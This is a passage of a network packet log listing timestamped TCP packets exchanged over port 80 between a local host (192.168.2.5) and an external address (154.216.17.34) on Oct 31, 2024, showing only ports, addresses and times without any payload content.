Oct 31, 2024 02:09:14.784970045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784981966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785001040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785027027 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785039902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785049915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785103083 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785121918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785134077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785145044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785172939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785187006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785188913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785197973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785208941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785274029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785274029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785393000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785409927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785420895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785434961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785446882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785460949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785471916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785473108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785485983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785501957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785501957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785533905 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785547018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785547972 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785558939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785568953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785598993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785614967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785617113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785626888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785639048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785670042 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785693884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785753012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785765886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785783052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785799026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785810947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785814047 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785820961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785834074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785849094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785891056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785896063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785906076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785922050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785928965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785934925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785947084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785947084 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785959005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785973072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.785973072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785985947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.785990953 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.786015987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.786026001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.786027908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.786077976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.786088943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.786092997 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.786112070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.786139965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.786149025 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.786160946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.786174059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.786206007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.786218882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.786222935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.786231995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.786242962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.786271095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.786297083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.786295891 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.786309004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.786319971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.786351919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.786381006 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.808219910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808233976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808244944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808279991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808290958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808303118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808311939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.808321953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808331966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808342934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808355093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808363914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.808372021 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.808392048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.808690071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808727980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808737993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808738947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.808772087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.808794022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808806896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808818102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808840036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.808868885 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.808921099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808938980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808949947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808962107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808974981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808985949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.808988094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.809006929 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.809034109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.832416058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.832429886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.832439899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.832469940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.832479000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.832529068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.832540035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.832554102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.832582951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.832582951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.835737944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.835807085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.835819006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.835830927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.835850954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.835860968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.835864067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.835875034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.835891962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.835907936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.835936069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.835941076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.835988045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836035967 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836095095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836107969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836121082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836132050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836143017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836146116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836183071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836196899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836209059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836219072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836237907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836249113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836249113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836267948 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836273909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836298943 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836324930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836345911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836580992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836618900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836632967 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836637020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836651087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836661100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836662054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836678028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836688042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836690903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836723089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836734056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836755037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836812973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836831093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836848974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836860895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836865902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836890936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836906910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836924076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836935997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836946964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.836970091 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.836994886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.837574959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837624073 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.837625980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837639093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837651014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837676048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.837686062 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.837702990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837716103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837728024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837758064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837760925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.837769032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837780952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837798119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.837831020 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.837857962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837871075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837881088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837899923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837899923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.837912083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837924004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837932110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.837960958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.837966919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837979078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.837996960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.838009119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.838011026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.838036060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.838037968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.838078022 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.838088036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.838108063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.838120937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.838131905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.838161945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.838186026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.838213921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.838224888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.838237047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.838248968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.838260889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.838263988 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.838289976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.838299990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.873645067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.873656988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.873667002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.873694897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.873707056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.873727083 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.873759031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.873765945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.873858929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.873872995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.873883963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.873900890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.873910904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.873912096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.873923063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.873929977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.873934984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.873946905 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.873977900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.873986006 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.874038935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.874049902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.874059916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.874085903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.874097109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.874157906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.874175072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.874187946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.874222040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.874241114 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.874309063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.874320984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.874336004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.874363899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.874366999 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.874373913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.874392033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.874424934 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.888473034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888484001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888495922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888506889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888597965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888649940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.888669014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888675928 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.888685942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888696909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888708115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888716936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.888731956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888734102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.888742924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888753891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888768911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.888784885 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.888806105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888812065 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.888818979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888837099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888848066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888859987 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.888859987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888890028 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.888890982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888902903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888904095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.888930082 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.888947964 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.888973951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888983965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.888995886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889000893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889049053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889050007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.889059067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889091969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.889107943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889120102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889130116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889144897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889152050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.889153957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889168024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.889199018 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.889225006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889235973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889250994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889261007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889277935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.889290094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.889307022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889317989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.889343977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889347076 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.889354944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889367104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889381886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.889393091 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.889404058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889410019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.889415979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889471054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.889770031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889818907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889818907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.889831066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.889863968 CET	49982	80	192.168.2.5	154.216.17.34
